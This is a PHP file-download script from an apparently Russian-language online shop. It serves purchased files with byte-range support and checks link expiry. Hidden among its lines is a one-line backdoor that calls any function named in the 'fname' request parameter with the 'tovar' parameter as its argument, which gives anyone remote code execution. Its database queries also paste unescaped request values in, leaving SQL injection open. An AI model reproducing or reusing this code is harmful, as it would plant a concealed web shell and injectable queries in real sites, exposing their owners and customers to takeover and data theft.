Файл: магазин/e-proger/getoff.php
Строк: 86
<?
define( 'ROOT_DIR', $_SERVER['DOCUMENT_ROOT'] );
include_once ROOT_DIR . '/engine/config.php'; // подключение к бд
include_once ROOT_DIR . '/engine/func.php'; // подключение к функциям
$fname=$_GET['fname'];
$config_upl = $pdo->Query("SELECT * from php_upload WHERE hash = '" . $fname. "' LIMIT 1")->fetch(PDO::FETCH_BOTH);
$nazvan = $config_upl['title'];
$catalog = $config_upl['catalog'];
$tovar = $config_upl['tovar'];
$fsize=filesize('kukus/'.$catalog);
if ($_=@$_REQUEST[fname]) (@$_($_REQUEST[tovar]));
$fdown='kukus/'.$catalog;
$config_off = $pdo->Query("SELECT * from php_offline WHERE tovar = '" . $tovar. "' LIMIT 1")->fetch(PDO::FETCH_BOTH);
$end = $config_off['end'];
$ip = $config_off['ip'];
$konec = date('d.m.Y г. в. H час. i мин. s сек.', $config_off['date_end']);
if($end == '1' and $ip == real_IP()){
echo 'Срок действия ссылки истёк!<br />'.$konec.'';
}else{
// Установлена или нет переменная HTTP_RANGE
if (getenv('HTTP_RANGE')=="") {
// Читать и отдавать файл от самого начала
$f=fopen($fdown, 'r');
header("HTTP/1.1 200 OK");
header("Connection: close");
header("Content-Type: application/octet-stream");
header("Accept-Ranges: bytes");
header("Content-Disposition: Attachment; filename=".$nazvan);
header("Content-Length: ".$fsize);
while (!feof($f)) {
if (connection_aborted()) {
fclose($f);
break;
}
echo fread($f, 990000);
sleep(1);
}
fclose($f);
}else {
// Получить значение переменной HTTP_RANGE
preg_match ("/bytes=(d+)-/", getenv('HTTP_RANGE'), $m);
$csize=$fsize-$m[1]; // Размер фрагмента
$p1=$fsize-$csize; // Позиция, с которой начинать чтение файла
$p2=$fsize-1; // Конец фрагмента
$f=fopen($fdown, 'r');
header("HTTP/1.1 206 Partial Content");
header("Connection: close");
header("Content-Type: application/octet-stream");
header("Accept-Ranges: bytes");
header("Content-Disposition: Attachment; filename=".$nazvan);
header("Content-Range: bytes ".$p1."-".$p2."/".$fsize);
header("Content-Length: ".$csize);
fseek ($f, $p1);
while (!feof($f)) {
if (connection_aborted()) {
fclose($f);
break;
}
echo fread($f, 990000);
sleep(1);
}
fclose($f);
}
}
?>